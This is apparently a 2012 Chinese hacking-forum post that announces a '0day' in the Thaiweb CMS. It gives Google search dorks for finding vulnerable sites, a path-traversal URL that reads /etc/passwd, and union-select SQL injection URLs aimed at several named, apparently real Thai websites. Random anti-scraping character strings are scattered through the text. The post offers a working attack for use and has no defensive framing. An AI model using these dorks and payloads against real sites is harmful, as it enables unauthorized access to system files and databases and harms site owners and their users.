找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2078|回复: 0
打印 上一主题 下一主题

Thaiweb远程文件sql注入漏洞0day

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-27 08:38:39 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Google之:
+ `! A- D9 J7 i, u  I* z- `) i! \! Q- g( P6 W/ y$ P
intext:powered by Thaiweb& }0 g7 m# g: Q. V

9 t5 x" R# i5 H) p$ X4 ]. Qinurl:index.php?page=board.php
. ?  d  n1 e. {9 m& z8 e2 U4 ?  l
0 t9 H" |0 L' h! ^0 @6 x
; C( O* s' t" Y! |1 ~) G: H  H% J8 b+ T5 S
利用点1:http://www.xfack.com/index.php?p ... ../../../etc/passwd
4 v; y6 @9 Y9 n& d) r4 @6 {) b3 x6 u; g" d

( b' ~4 u" u: Y% M: T2 |8 v
3 k0 M. J* s4 V" @) D! @& ?* ~% H利用点2:http://www.xfack.com/index.php?page=boardque.php&bod_id=4'5 G4 l; I) @. k0 s6 R. ^
, Y6 y8 ?; [( v4 E# B( B1 M: e( e

! D3 c9 O7 p, Q% b1 Y3 E5 o3 l- I: R! t
http://www.keytasin.com//index.p ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--- ]0 W' I( n. w& \

* R- Z4 Y% O/ t* x3 t# ~) Ehttp://www.autopartnerthailand.c ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--
2 k$ Z: O8 \: K8 l' a5 _ 1 U8 W* C3 c! ^- P( v
http://gift.in.th/index.php?page ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--7 ]. {1 g+ z: s2 b( B, [
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表